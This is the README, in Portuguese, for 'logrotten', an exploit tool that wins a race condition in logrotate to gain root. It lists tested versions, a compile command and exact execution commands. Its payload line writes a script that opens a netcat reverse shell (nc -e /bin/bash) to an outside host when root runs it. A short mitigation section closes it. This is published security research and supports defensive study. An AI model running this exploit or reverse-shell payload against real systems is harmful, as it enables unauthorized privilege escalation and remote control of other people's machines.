[!WARNING]
Este repositório foi movido para https://codeberg.org/whotwagner/logrotten. Por favor, visite o novo local para as atualizações mais recentes.
Vencendo uma condição de corrida no logrotate para elevar privilégios

Descrição breve
- logrotate é propenso a uma condição de corrida após renomear o arquivo de log.
- Se o logrotate for executado como root, com opção que cria um
arquivo (como create, copy, compress, etc.) e o usuário tiver controle
do caminho do arquivo de log, é possível abusar de uma condição de corrida para escrever
arquivos em QUAISQUER diretórios.
- Um atacante poderia elevar seus privilégios escrevendo reverse-shells em
diretórios como "/etc/bash_completition.d/".
Pré-condição para elevação de privilégios
- O Logrotate precisa ser executado como root
- O caminho de log precisa estar sob o controle do atacante
- Qualquer opção que crie arquivos deve estar definida na configuração do logrotate
Versões testadas
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
Compilar
- gcc -o logrotten logrotten.c
Preparar payload
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
Executar o exploit
Se a opção "create" estiver definida no logrotate.cfg:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
Se a opção "compress" estiver definida no logrotate.cfg:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
Problemas conhecidos
- Era difícil vencer a corrida dentro de um container docker ou em um volume lvm2. Esta versão do logrotten melhora a confiabilidade.
Mitigação
- certifique-se de que o caminho de log pertence a root
- use a opção "su" no logrotate.cfg
- use selinux ou apparmor
Autor
Referências